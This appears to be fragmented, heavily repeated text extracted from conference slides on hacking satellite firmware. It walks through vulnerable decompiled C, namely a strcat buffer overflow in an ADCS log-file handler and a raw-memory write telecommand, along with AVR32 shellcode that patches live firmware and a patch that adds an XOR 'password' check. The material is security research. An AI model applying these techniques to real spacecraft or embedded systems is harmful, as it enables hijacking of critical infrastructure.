      strncpy(full_filename + 7,filename.character, filename.length);17
      full_filename[filename.length + 7] = 0;18
      file_handle = fopen(full_filename,"r");19

//20

  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &boolVal);
  if(ret == SUCCESS) {
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &filename);
    if(ret == SUCCESS) {

void SUBMIT_CreateFile(MAL_Message_t *pMessage) {1
  msg = (pMessage->body).data;2
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &report_acceptance);3
  if(ret == SUCCESS) {4
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &unused_str);5
    if(ret == SUCCESS) {6
      // Inform about Acceptance7
      COMActivityTracking_PublishAcceptanceEvent(...);8
    }9
  }10
  11

12
13
14
15

      strcpy(full_filename,"/flash/");16
      strncpy(full_filename + 7,filename.character, filename.length);17
      full_filename[filename.length + 7] = 0;18
      file_handle = fopen(full_filename,"r");19

//20

      strcpy(full_filename,"/flash/");
      strncpy(full_filename + 7,filename.character, filename.length);
      full_filename[filename.length + 7] = 0;
      file_handle = fopen(full_filename,"r");

      // Inform about Acceptance7
      COMActivityTracking_PublishAcceptanceEvent(...);8
    }9
  }10
  11
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &boolVal);12
  if(ret == SUCCESS) {13
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &filename);14
    if(ret == SUCCESS) {15

16
17
18
19

      // ...20
      21
      MAL_WriteUInteger(...);22
      MAL_WriteBoolean(...);23
      MOSManager_SendMessage(&outputMessage_SUBMIT_CreateFile);24
    }25
  }26
  27
}28
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void SUBMIT_CreateFile(MAL_Message_t *pMessage) {
  msg = (pMessage->body).data;
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &report_acceptance);
  if(ret == SUCCESS) {
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &unused_str);
    if(ret == SUCCESS) {
      // Inform about Acceptance
      COMActivityTracking_PublishAcceptanceEvent(...);
    }
  }
  
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &boolVal);
  if(ret == SUCCESS) {
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &filename);
    if(ret == SUCCESS) {
      strcpy(full_filename,"/flash/");
      strncpy(full_filename + 7,filename.character, filename.length);
      full_filename[filename.length + 7] = 0;
      file_handle = fopen(full_filename,"r");

//
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  msg = (pMessage->body).data;
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &report_acceptance);
  if(ret == SUCCESS) {
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &unused_str);
    if(ret == SUCCESS) {
      // Inform about Acceptance
      COMActivityTracking_PublishAcceptanceEvent(...);
    }
  }

void SUBMIT_CreateFile(MAL_Message_t *pMessage) {1
2
3
4
5
6
7
8
9
10

  11
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &boolVal);12
  if(ret == SUCCESS) {13
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &filename);14
    if(ret == SUCCESS) {15
      strcpy(full_filename,"/flash/");16
      strncpy(full_filename + 7,filename.character, filename.length);17
      full_filename[filename.length + 7] = 0;18
      file_handle = fopen(full_filename,"r");19

//20

  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &boolVal);
  if(ret == SUCCESS) {
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &filename);
    if(ret == SUCCESS) {

void SUBMIT_CreateFile(MAL_Message_t *pMessage) {1
  msg = (pMessage->body).data;2
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &report_acceptance);3
  if(ret == SUCCESS) {4
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &unused_str);5
    if(ret == SUCCESS) {6
      // Inform about Acceptance7
      COMActivityTracking_PublishAcceptanceEvent(...);8
    }9
  }10
  11

12
13
14
15

      strcpy(full_filename,"/flash/");16
      strncpy(full_filename + 7,filename.character, filename.length);17
      full_filename[filename.length + 7] = 0;18
      file_handle = fopen(full_filename,"r");19

//20

      strcpy(full_filename,"/flash/");
      strncpy(full_filename + 7,filename.character, filename.length);
      full_filename[filename.length + 7] = 0;
      file_handle = fopen(full_filename,"r");

void SUBMIT_CreateFile(MAL_Message_t *pMessage) {1
  msg = (pMessage->body).data;2
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &report_acceptance);3
  if(ret == SUCCESS) {4
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &unused_str);5
    if(ret == SUCCESS) {6
      // Inform about Acceptance7
      COMActivityTracking_PublishAcceptanceEvent(...);8
    }9
  }10
  11
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &boolVal);12
  if(ret == SUCCESS) {13
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &filename);14
    if(ret == SUCCESS) {15

16
17
18
19

//20

      MAL_WriteUInteger(...);
      MAL_WriteBoolean(...);
      MOSManager_SendMessage(&outputMessage_SUBMIT_CreateFile);

      COMActivityTracking_PublishAcceptanceEvent(...);8
    }9
  }10
  11
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &boolVal);12
  if(ret == SUCCESS) {13
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &filename);14
    if(ret == SUCCESS) {15
      strcpy(full_filename,"/flash/");16
      strncpy(full_filename + 7,filename.character, filename.length);17
      full_filename[filename.length + 7] = 0;18
      file_handle = fopen(full_filename,"r");19
      // ...20
      21

22
23
24

    }25
  }26
  27
}28
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Telemetry

void MOSManager_SendPacket(SPP_Packet_t *pPacket) {
  ret = SPP_GetPacketType(pPacket, &packet_type);
  if (ret == SUCCESS) {
    if (packet_type == SPP_PACKETTYPE_TC) {
      tc_routing = pPacket->primaryHeader.packetID | pPacket->primaryHeader.packetSC;
    }
    else {
      tc_routing = (pPacket->secondaryHeader).areaVersion | /* ... */;
    }
    if (tc_routing == /* ... */) {
      TMPK_CreatePacket(pPacket,&tmpPacket);
      CAN_SendFrameToSEPP(&tmpPacket,0);
    }
    else {
      SVTM_SendPacket(pPacket);
    }
  }
  return;
}
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Telemetry

void SVTM_SendPacket(SPP_Packet_t *packet) {
  TMMN_SendPacket(packet);
  return;
}
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Telemetry

void SVTM_SendPacket(SPP_Packet_t *packet) {
  TMMN_SendPacket(packet);
  return;
}
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void TMMN_SendPacket(SPP_Packet_t *packet) {
  SSOS_LockMutex(tmmn_MutexId);
  // ...
 
  if (gSendPackets != '\x01') {
    TMPS_StopPSPackets();
  }
  if ((packet->route == ROUTE_UHF) || (gSendPackets == '\x01')) {
    TMLI_AddPacketToLiveStore(packet);
  }
  else {
    TMPS_AddPacketToPacketStore(packet);
  }
  SSOS_UnlockMutex(tmmn_MutexId);
  return;
}
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CSP vs SPP Stack
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Security Analysis
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 Objectives

1

2
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4

Bypass COM Protection

Dangerous / Vulnerable TC

Hijack Bus Control Flow

Full Bus Privileges
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System Chart

1. Bypass COM Protection
Compiler-disabled Auth. + Enc.

I2C CSP TM Sender

ADCS Server
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Parameter DB

CSP Handlers

Device Cmds.

TC Buffer
I2C

CSP

int csp_route_security_chek(...) {
  if (packet->id.flags & CSP_FXTEA) {
    csp_log_error("Received XTEA encrypted packet, but CSP 
was compiled without XTEA support. Discarding packet");
  }
  
  // ...
  
  if (packet->id.flags & CSP_FHMAC) {
    csp_log_error("Received packet with HMAC, but CSP was 
compiled without HMAC support. Discarding packet");
  }
  
   // ...
}
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System Chart

1. Bypass COM Protection
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int csp_route_security_chek(...) {
  if (packet->id.flags & CSP_FXTEA) {
    csp_log_error("Received XTEA encrypted packet, but CSP 
was compiled without XTEA support. Discarding packet");
  }
  
  // ...
  
  if (packet->id.flags & CSP_FHMAC) {
    csp_log_error("Received packet with HMAC, but CSP was 
compiled without HMAC support. Discarding packet");
  }
  
   // ...
}
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System Chart

1. Bypass COM Protection
Compiler-disabled Auth. + Enc.

2. Dangerous / Vulnerable TC
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int csp_route_security_chek(...) {
  if (packet->id.flags & CSP_FXTEA) {
    csp_log_error("Received XTEA encrypted packet, but CSP 
was compiled without XTEA support. Discarding packet");
  }
  
  // ...
  
  if (packet->id.flags & CSP_FHMAC) {
    csp_log_error("Received packet with HMAC, but CSP was 
compiled without HMAC support. Discarding packet");
  }
  
   // ...
}
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memcpy as TC
Config Changes
Quick/Hot Patching
Debugging

int sch_handler_set_raw_memory(scheduler_cmd_t* pCmd) {
  raw_mem_access_cmd_t* pAddr = pCmd−>pCmdArgs;
  char* pWriteData;
 
  if (pAddr) {
    if (g_sch_exec_mode != 1 ) { 
      /* exception and return */ 
    }
    char* pWriteData = &pAddr−>start_of_data_buf;
    if (pAddr−>filesystem_target) {
      // [...]
    } else {
      memcpy(pAddr−>targetAddr, 
             &pAddr−>start_of_data_buf, 
             pAddr−>writeLength);
    }
  }
  // ...
}
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int sch_handler_set_raw_memory(scheduler_cmd_t* pCmd) {
  raw_mem_access_cmd_t* pAddr = pCmd−>pCmdArgs;
  char* pWriteData;
 
  if (pAddr) {
    if (g_sch_exec_mode != 1 ) { 
      /* exception and return */ 
    }
    char* pWriteData = &pAddr−>start_of_data_buf;
    if (pAddr−>filesystem_target) {
      // [...]
    } else {
      memcpy(pAddr−>targetAddr, 
             &pAddr−>start_of_data_buf, 
             pAddr−>writeLength);
    }
  }
  // ...
}
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  raw_mem_access_cmd_t* pAddr = pCmd−>pCmdArgs;

      memcpy(pAddr−>targetAddr, 
             &pAddr−>start_of_data_buf, 
             pAddr−>writeLength);

int sch_handler_set_raw_memory(scheduler_cmd_t* pCmd) {1
2

  char* pWriteData;3
 4
  if (pAddr) {5
    if (g_sch_exec_mode != 1 ) { 6
      /* exception and return */ 7
    }8
    char* pWriteData = &pAddr−>start_of_data_buf;9
    if (pAddr−>filesystem_target) {10
      // [...]11
    } else {12

13
14
15

    }16
  }17
  // ...18
}19
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void task_adcs_servr() {
  char log_file_name [32];
 
  csp_listen(socket, 10);
  csp_bind(socket, port);
  
  do {
    do {
      conn = csp_accept(socket, 0xff);
    } while (do_wait_for_conn);
    
    packet = csp_read(conn, 10);
    if (packet) {
      packet_data = packet->data;
      switch(*packet_data) {
        // [...]
        case SET_LOGFILE: {
          packet_data = packet->data + 0xf;
          log_file_name[0] = '\0';
          strcat(log_file_name,packet_data);
          // ...
        }
      }
    }
}
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void task_adcs_servr() {
  char log_file_name [32];
 
  csp_listen(socket, 10);
  csp_bind(socket, port);
  
  do {
    do {
      conn = csp_accept(socket, 0xff);
    } while (do_wait_for_conn);
    
    packet = csp_read(conn, 10);
    if (packet) {
      packet_data = packet->data;
      switch(*packet_data) {
        // [...]
        case SET_LOGFILE: {
          packet_data = packet->data + 0xf;
          log_file_name[0] = '\0';
          strcat(log_file_name,packet_data);
          // ...
        }
      }
    }
}
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  csp_listen(socket, 10);
  csp_bind(socket, port);

    do {
      conn = csp_accept(socket, 0xff);
    } while (do_wait_for_conn);
    
    packet = csp_read(conn, 10);

void task_adcs_servr() {1
  char log_file_name [32];2
 3

4
5

  6
  do {7

8
9

10
11
12

    if (packet) {13
      packet_data = packet->data;14
      switch(*packet_data) {15
        // [...]16
        case SET_LOGFILE: {17
          packet_data = packet->data + 0xf;18
          log_file_name[0] = '\0';19
          strcat(log_file_name,packet_data);20
          // ...21
        }22
      }23
    }24
}25
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void task_adcs_servr() {
  char log_file_name [32];
 
  csp_listen(socket, 10);
  csp_bind(socket, port);
  
  do {
    do {
      conn = csp_accept(socket, 0xff);
    } while (do_wait_for_conn);
    
    packet = csp_read(conn, 10);
    if (packet) {
      packet_data = packet->data;
      switch(*packet_data) {
        // [...]
        case SET_LOGFILE: {
          packet_data = packet->data + 0xf;
          log_file_name[0] = '\0';
          strcat(log_file_name,packet_data);
          // ...
        }
      }
    }
}
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  csp_listen(socket, 10);
  csp_bind(socket, port);

    do {
      conn = csp_accept(socket, 0xff);
    } while (do_wait_for_conn);
    
    packet = csp_read(conn, 10);

void task_adcs_servr() {1
  char log_file_name [32];2
 3

4
5

  6
  do {7

8
9

10
11
12

    if (packet) {13
      packet_data = packet->data;14
      switch(*packet_data) {15
        // [...]16
        case SET_LOGFILE: {17
          packet_data = packet->data + 0xf;18
          log_file_name[0] = '\0';19
          strcat(log_file_name,packet_data);20
          // ...21
        }22
      }23
    }24
}25

  char log_file_name [32];

          packet_data = packet->data + 0xf;
          log_file_name[0] = '\0';
          strcat(log_file_name,packet_data);

void task_adcs_servr() {1
2

 3
  csp_listen(socket, 10);4
  csp_bind(socket, port);5
  6
  do {7
    do {8
      conn = csp_accept(socket, 0xff);9
    } while (do_wait_for_conn);10
    11
    packet = csp_read(conn, 10);12
    if (packet) {13
      packet_data = packet->data;14
      switch(*packet_data) {15
        // [...]16
        case SET_LOGFILE: {17

18
19
20

          // ...21
        }22
      }23
    }24
}25
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void task_adcs_servr() {
  // ...
  
  do {
    // ...
    packet = csp_read(conn, 10);
    if (packet) {
      packet_data = packet->data;
      switch(*packet_data) {
        // [...]
        case SET_LOGFILE: {
          packet_data = packet->data + 0xf;
          log_file_name[0] = '\0';
          strcat(log_file_name,packet_data);
          // ...
        }
      }
    }
  }
}
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 Exploit 1 Hijack Control Flow
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void task_adcs_servr() {
  // ...
  
  do {
    // ...
    packet = csp_read(conn, 10);
    if (packet) {
      packet_data = packet->data;
      switch(*packet_data) {
        // [...]
        case SET_LOGFILE: {
          packet_data = packet->data + 0xf;
          log_file_name[0] = '\0';
          strcat(log_file_name,packet_data);
          // ...
        }
      }
    }
  }
}
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 Exploit 1 Hijack Control Flow

void init_adcs(void) {
  gpio_enable_module((gpio_map_t *)GPS_USART_GPIO_MAP.18362,2);
  usart_init(1,32000000,0x2580);
  // ...
  cmd_adcs_setup();
  adcs_node_set(1,0x14);
  xTaskGenericCreate(task_adcs,"ADCS",0x2000, 0x0, 8, &pvStack_18, 0x0, 0x0);
  xTaskGenericCreate(task_adcs_server, "ASRV", 0x1000, &adcs_server_port, 9, &pvStack_18, 0x0, 0x0);
  return;
}

1
2
3
4
5
6
7
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10

  xTaskGenericCreate(task_adcs_server, "ASRV", 0x1000, &adcs_server_port, 9, &pvStack_18, 0x0, 0x0);

void init_adcs(void) {1
  gpio_enable_module((gpio_map_t *)GPS_USART_GPIO_MAP.18362,2);2
  usart_init(1,32000000,0x2580);3
  // ...4
  cmd_adcs_setup();5
  adcs_node_set(1,0x14);6
  xTaskGenericCreate(task_adcs,"ADCS",0x2000, 0x0, 8, &pvStack_18, 0x0, 0x0);7

8
  return;9
}10
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void task_adcs_servr() {
  // ...
  
  do {
    // ...
    packet = csp_read(conn, 10);
    if (packet) {
      packet_data = packet->data;
      switch(*packet_data) {
        // [...]
        case SET_LOGFILE: {
          packet_data = packet->data + 0xf;
          log_file_name[0] = '\0';
          strcat(log_file_name,packet_data);
          // ...
        }
      }
    }
  }
}
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  do {
    // ...

      packet_data = packet->data;
      switch(*packet_data) {
        // [...]
        case SET_LOGFILE: {
          packet_data = packet->data + 0xf;

void task_adcs_servr() {1
  // ...2
  3

4
5

    packet = csp_read(conn, 10);6
    if (packet) {7

8
9

10
11
12

          log_file_name[0] = '\0';13
          strcat(log_file_name,packet_data);14
          // ...15
        }16
      }17
    }18
  }19
}20
 21

 Exploit 1 Hijack Control Flow

void init_adcs(void) {
  gpio_enable_module((gpio_map_t *)GPS_USART_GPIO_MAP.18362,2);
  usart_init(1,32000000,0x2580);
  // ...
  cmd_adcs_setup();
  adcs_node_set(1,0x14);
  xTaskGenericCreate(task_adcs,"ADCS",0x2000, 0x0, 8, &pvStack_18, 0x0, 0x0);
  xTaskGenericCreate(task_adcs_server, "ASRV", 0x1000, &adcs_server_port, 9, &pvStack_18, 0x0, 0x0);
  return;
}
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  xTaskGenericCreate(task_adcs_server, "ASRV", 0x1000, &adcs_server_port, 9, &pvStack_18, 0x0, 0x0);

void init_adcs(void) {1
  gpio_enable_module((gpio_map_t *)GPS_USART_GPIO_MAP.18362,2);2
  usart_init(1,32000000,0x2580);3
  // ...4
  cmd_adcs_setup();5
  adcs_node_set(1,0x14);6
  xTaskGenericCreate(task_adcs,"ADCS",0x2000, 0x0, 8, &pvStack_18, 0x0, 0x0);7

8
  return;9
}10
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void task_adcs_servr() {
  // ...
  
  do {
    // ...
    packet = csp_read(conn, 10);
    if (packet) {
      packet_data = packet->data;
      switch(*packet_data) {
        // [...]
        case SET_LOGFILE: {
          packet_data = packet->data + 0xf;
          log_file_name[0] = '\0';
          strcat(log_file_name,packet_data);
          // ...
        }
      }
    }
  }
}
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  do {
    // ...

      packet_data = packet->data;
      switch(*packet_data) {
        // [...]
        case SET_LOGFILE: {
          packet_data = packet->data + 0xf;

void task_adcs_servr() {1
  // ...2
  3

4
5

    packet = csp_read(conn, 10);6
    if (packet) {7

8
9

10
11
12

          log_file_name[0] = '\0';13
          strcat(log_file_name,packet_data);14
          // ...15
        }16
      }17
    }18
  }19
}20
 21

  // ...

    }
  }
}

void task_adcs_servr() {1
2

  3
  do {4
    // ...5
    packet = csp_read(conn, 10);6
    if (packet) {7
      packet_data = packet->data;8
      switch(*packet_data) {9
        // [...]10
        case SET_LOGFILE: {11
          packet_data = packet->data + 0xf;12
          log_file_name[0] = '\0';13
          strcat(log_file_name,packet_data);14
          // ...15
        }16
      }17

18
19
20

 21

 Exploit 1 Hijack Control Flow

void init_adcs(void) {
  gpio_enable_module((gpio_map_t *)GPS_USART_GPIO_MAP.18362,2);
  usart_init(1,32000000,0x2580);
  // ...
  cmd_adcs_setup();
  adcs_node_set(1,0x14);
  xTaskGenericCreate(task_adcs,"ADCS",0x2000, 0x0, 8, &pvStack_18, 0x0, 0x0);
  xTaskGenericCreate(task_adcs_server, "ASRV", 0x1000, &adcs_server_port, 9, &pvStack_18, 0x0, 0x0);
  return;
}
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  xTaskGenericCreate(task_adcs_server, "ASRV", 0x1000, &adcs_server_port, 9, &pvStack_18, 0x0, 0x0);

void init_adcs(void) {1
  gpio_enable_module((gpio_map_t *)GPS_USART_GPIO_MAP.18362,2);2
  usart_init(1,32000000,0x2580);3
  // ...4
  cmd_adcs_setup();5
  adcs_node_set(1,0x14);6
  xTaskGenericCreate(task_adcs,"ADCS",0x2000, 0x0, 8, &pvStack_18, 0x0, 0x0);7

8
  return;9
}10
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 Exploit 1 Hijack Control Flow

case SET_LOGFILE: {
  packet_data = packet->data + 0xf;
  log_file_name[0] = '\0';
  strcat(log_file_name,packet_data);
  
  adcs_logdata._20_4_ = csp_hton32( packet->data[...] | ... );
  adcs_logdata._24_4_ = csp_hton32( packet->data[...] | ... );
  adcs_logdata[28] = packet->data[10];
  adcs_logdata[29] = packet->data[0xb];
  // ...
  adcs_get_jdate();
  
  GS_ADCS_Log_Start(log_file_name, packet_data, pcVar7)
}
 

1
2
3
4
5
6
7
8
9

10
11
12
13
14
15

https://t.me/learningnets



 Exploit 1 Hijack Control Flow

case SET_LOGFILE: {
  packet_data = packet->data + 0xf;
  log_file_name[0] = '\0';
  strcat(log_file_name,packet_data);
  
  adcs_logdata._20_4_ = csp_hton32( packet->data[...] | ... );
  adcs_logdata._24_4_ = csp_hton32( packet->data[...] | ... );
  adcs_logdata[28] = packet->data[10];
  adcs_logdata[29] = packet->data[0xb];
  // ...
  adcs_get_jdate();
  
  GS_ADCS_Log_Start(log_file_name, packet_data, pcVar7)
}
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  GS_ADCS_Log_Start(log_file_name, packet_data, pcVar7)

case SET_LOGFILE: {1
  packet_data = packet->data + 0xf;2
  log_file_name[0] = '\0';3
  strcat(log_file_name,packet_data);4
  5
  adcs_logdata._20_4_ = csp_hton32( packet->data[...] | ... );6
  adcs_logdata._24_4_ = csp_hton32( packet->data[...] | ... );7
  adcs_logdata[28] = packet->data[10];8
  adcs_logdata[29] = packet->data[0xb];9
  // ...10
  adcs_get_jdate();11
  12

13
}14
 15

void GS_ADCS_Log_Start(char *filename, void *pkt_data, uint param_3) {
  char sprintf_buf [60];
  // ...
  __n = sprintf(sprintf_buf,"%s\n%7.6f\n%3.1f\n%u%u%u%u%u\n", filename, ...);
  // ...
  fd = fopen(filename, "wb");
  // ...
  fwrite(&data, 1, __n, fd);
}
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  char sprintf_buf [60];

  __n = sprintf(sprintf_buf,"%s\n%7.6f\n%3.1f\n%u%u%u%u%u\n", filename, ...);

void GS_ADCS_Log_Start(char *filename, void *pkt_data, uint param_3) {1
2

  // ...3
4

  // ...5
  fd = fopen(filename, "wb");6
  // ...7
  fwrite(&data, 1, __n, fd);8
}9
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 Exploit 2 Patch Live Firmware

d140fcc7:       fc 1b d0 05     movh    r11,0xd005
d140fccb:       e0 2b df fe     sub     r11,57342
d140fccf:       fc 1c d0 0b     movh    r12,0xd00b
d140fcd3:       e0 2c d2 fc     sub     r12,54012
d140fcd7:       04 52           eor     r2,r2
d140fcd9:       fe c2 ff e6      sub     r2,pc,-26
d140fcdd:       fc 13 d0 0c     movh    r3,0xd00c
d140fce1:       e0 23 14 88     sub     r3,5256
d140fce5:       31 e5           mov     r5,30
 
d140fce7 <loop>:
d140fce7:       05 34           ld.ub   r4,r2++
d140fce9:       06 c4           st.b    r3++,r4
d140fceb:       20 15           sub     r5,1
d140fced:       58 05           cp.w    r5,0
d140fcef:       cf c1           brne    d140fce6 <main+0x1f>
d140fcf1:       5d 1b           icall   r11

1
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 Exploit 2 Patch Live Firmware

d140fcc7:       fc 1b d0 05     movh    r11,0xd005
d140fccb:       e0 2b df fe     sub     r11,57342
d140fccf:       fc 1c d0 0b     movh    r12,0xd00b
d140fcd3:       e0 2c d2 fc     sub     r12,54012
d140fcd7:       04 52           eor     r2,r2
d140fcd9:       fe c2 ff e6      sub     r2,pc,-26
d140fcdd:       fc 13 d0 0c     movh    r3,0xd00c
d140fce1:       e0 23 14 88     sub     r3,5256
d140fce5:       31 e5           mov     r5,30
 
d140fce7 <loop>:
d140fce7:       05 34           ld.ub   r4,r2++
d140fce9:       06 c4           st.b    r3++,r4
d140fceb:       20 15           sub     r5,1
d140fced:       58 05           cp.w    r5,0
d140fcef:       cf c1           brne    d140fce6 <main+0x1f>
d140fcf1:       5d 1b           icall   r11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

d140fcc7:       fc 1b d0 05     movh    r11,0xd005
d140fccb:       e0 2b df fe     sub     r11,57342
d140fccf:       fc 1c d0 0b     movh    r12,0xd00b
d140fcd3:       e0 2c d2 fc     sub     r12,54012
d140fcd7:       04 52           eor     r2,r2
d140fcd9:       fe c2 ff e6      sub     r2,pc,-26
d140fcdd:       fc 13 d0 0c     movh    r3,0xd00c
d140fce1:       e0 23 14 88     sub     r3,5256
d140fce5:       31 e5           mov     r5,30

1
2
3
4
5
6
7
8
9

 10
d140fce7 <loop>:11
d140fce7:       05 34           ld.ub   r4,r2++12
d140fce9:       06 c4           st.b    r3++,r413
d140fceb:       20 15           sub     r5,114
d140fced:       58 05           cp.w    r5,015
d140fcef:       cf c1           brne    d140fce6 <main+0x1f>16
d140fcf1:       5d 1b           icall   r1117
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 Exploit 2 Patch Live Firmware

d140fcc7:       fc 1b d0 05     movh    r11,0xd005
d140fccb:       e0 2b df fe     sub     r11,57342
d140fccf:       fc 1c d0 0b     movh    r12,0xd00b
d140fcd3:       e0 2c d2 fc     sub     r12,54012
d140fcd7:       04 52           eor     r2,r2
d140fcd9:       fe c2 ff e6      sub     r2,pc,-26
d140fcdd:       fc 13 d0 0c     movh    r3,0xd00c
d140fce1:       e0 23 14 88     sub     r3,5256
d140fce5:       31 e5           mov     r5,30
 
d140fce7 <loop>:
d140fce7:       05 34           ld.ub   r4,r2++
d140fce9:       06 c4           st.b    r3++,r4
d140fceb:       20 15           sub     r5,1
d140fced:       58 05           cp.w    r5,0
d140fcef:       cf c1           brne    d140fce6 <main+0x1f>
d140fcf1:       5d 1b           icall   r11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

d140fcc7:       fc 1b d0 05     movh    r11,0xd005
d140fccb:       e0 2b df fe     sub     r11,57342
d140fccf:       fc 1c d0 0b     movh    r12,0xd00b
d140fcd3:       e0 2c d2 fc     sub     r12,54012
d140fcd7:       04 52           eor     r2,r2
d140fcd9:       fe c2 ff e6      sub     r2,pc,-26
d140fcdd:       fc 13 d0 0c     movh    r3,0xd00c
d140fce1:       e0 23 14 88     sub     r3,5256
d140fce5:       31 e5           mov     r5,30

1
2
3
4
5
6
7
8
9

 10
d140fce7 <loop>:11
d140fce7:       05 34           ld.ub   r4,r2++12
d140fce9:       06 c4           st.b    r3++,r413
d140fceb:       20 15           sub     r5,114
d140fced:       58 05           cp.w    r5,015
d140fcef:       cf c1           brne    d140fce6 <main+0x1f>16
d140fcf1:       5d 1b           icall   r1117

d140fce7 <loop>:
d140fce7:       05 34           ld.ub   r4,r2++
d140fce9:       06 c4           st.b    r3++,r4
d140fceb:       20 15           sub     r5,1
d140fced:       58 05           cp.w    r5,0
d140fcef:       cf c1           brne    d140fce6 <main+0x1f>
d140fcf1:       5d 1b           icall   r11

d140fcc7:       fc 1b d0 05     movh    r11,0xd0051
d140fccb:       e0 2b df fe     sub     r11,573422
d140fccf:       fc 1c d0 0b     movh    r12,0xd00b3
d140fcd3:       e0 2c d2 fc     sub     r12,540124
d140fcd7:       04 52           eor     r2,r25
d140fcd9:       fe c2 ff e6      sub     r2,pc,-266
d140fcdd:       fc 13 d0 0c     movh    r3,0xd00c7
d140fce1:       e0 23 14 88     sub     r3,52568
d140fce5:       31 e5           mov     r5,309
 10

11
12
13
14
15
16
17
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 Exploit 3 Add "Password"

// ...  
h32 = csp_ntoh32(frame->data[3] | frame->data[1] << 0x10 | 
                    frame->data[0] << 0x18 | frame->data[2] << 8);
frame->data[3] = (uint8_t)h32;
frame->data[0] = (uint8_t)(h32 >> 0x18);
frame->data[1] = (uint8_t)(h32 >> 0x10);
frame->data[2] = (uint8_t)(h32 >> 8);
csp_qfifo_write(i2c_rx_csp_packet, &csp_if_i2c, pxTaskWoken);

1
2
3
4
5
6
7
8
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 Exploit 3 Add "Password"

// ...  
h32 = csp_ntoh32(frame->data[3] | frame->data[1] << 0x10 | 
                    frame->data[0] << 0x18 | frame->data[2] << 8);
frame->data[3] = (uint8_t)h32;
frame->data[0] = (uint8_t)(h32 >> 0x18);
frame->data[1] = (uint8_t)(h32 >> 0x10);
frame->data[2] = (uint8_t)(h32 >> 8);
csp_qfifo_write(i2c_rx_csp_packet, &csp_if_i2c, pxTaskWoken);

1
2
3
4
5
6
7
8

https://t.me/learningnets



 Exploit 3 Add "Password"

// ...  
h32 = csp_ntoh32(frame->data[3] | frame->data[1] << 0x10 | 
                    frame->data[0] << 0x18 | frame->data[2] << 8);
frame->data[3] = (uint8_t)h32;
frame->data[0] = (uint8_t)(h32 >> 0x18);
frame->data[1] = (uint8_t)(h32 >> 0x10);
frame->data[2] = (uint8_t)(h32 >> 8);
csp_qfifo_write(i2c_rx_csp_packet, &csp_if_i2c, pxTaskWoken);

1
2
3
4
5
6
7
8

i2c_rx_csp_packet = (csp_packet_t *)frame;
*(uint *)frame->data = *(uint *)frame->data ^ 0xdeadbeef;
csp_qfifo_write(i2c_rx_csp_packet, &csp_if_i2c, pxTaskWoken);

1
2
3
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 Exploit 3 Add "Password"

// ...  
h32 = csp_ntoh32(frame->data[3] | frame->data[1] << 0x10 | 
                    frame->data[0] << 0x18 | frame->data[2] << 8);
frame->data[3] = (uint8_t)h32;
frame->data[0] = (uint8_t)(h32 >> 0x18);
frame->data[1] = (uint8_t)(h32 >> 0x10);
frame->data[2] = (uint8_t)(h32 >> 8);
csp_qfifo_write(i2c_rx_csp_packet, &csp_if_i2c, pxTaskWoken);

1
2
3
4
5
6
7
8

h32 = csp_ntoh32(frame->data[3] | frame->data[1] << 0x10 | 
                    frame->data[0] << 0x18 | frame->data[2] << 8);
frame->data[3] = (uint8_t)h32;
frame->data[0] = (uint8_t)(h32 >> 0x18);
frame->data[1] = (uint8_t)(h32 >> 0x10);
frame->data[2] = (uint8_t)(h32 >> 8);

// ...  1
2
3
4
5
6
7

csp_qfifo_write(i2c_rx_csp_packet, &csp_if_i2c, pxTaskWoken);8

i2c_rx_csp_packet = (csp_packet_t *)frame;
*(uint *)frame->data = *(uint *)frame->data ^ 0xdeadbeef;
csp_qfifo_write(i2c_rx_csp_packet, &csp_if_i2c, pxTaskWoken);

1
2
3
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 Exploit 3 Add "Password"

// ...  
h32 = csp_ntoh32(frame->data[3] | frame->data[1] << 0x10 | 
                    frame->data[0] << 0x18 | frame->data[2] << 8);
frame->data[3] = (uint8_t)h32;
frame->data[0] = (uint8_t)(h32 >> 0x18);
frame->data[1] = (uint8_t)(h32 >> 0x10);
frame->data[2] = (uint8_t)(h32 >> 8);
csp_qfifo_write(i2c_rx_csp_packet, &csp_if_i2c, pxTaskWoken);

1
2
3
4
5
6
7
8

h32 = csp_ntoh32(frame->data[3] | frame->data[1] << 0x10 | 
                    frame->data[0] << 0x18 | frame->data[2] << 8);
frame->data[3] = (uint8_t)h32;
frame->data[0] = (uint8_t)(h32 >> 0x18);
frame->data[1] = (uint8_t)(h32 >> 0x10);
frame->data[2] = (uint8_t)(h32 >> 8);

// ...  1
2
3
4
5
6
7

csp_qfifo_write(i2c_rx_csp_packet, &csp_if_i2c, pxTaskWoken);8

i2c_rx_csp_packet = (csp_packet_t *)frame;
*(uint *)frame->data = *(uint *)frame->data ^ 0xdeadbeef;
csp_qfifo_write(i2c_rx_csp_packet, &csp_if_i2c, pxTaskWoken);

1
2
3

*(uint *)frame->data = *(uint *)frame->data ^ 0xdeadbeef;
i2c_rx_csp_packet = (csp_packet_t *)frame;1

2
csp_qfifo_write(i2c_rx_csp_packet, &csp_if_i2c, pxTaskWoken);3
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Demo Setup
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AVR32-QEMU
404 - AVR32 Not Found
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AVR32-QEMU
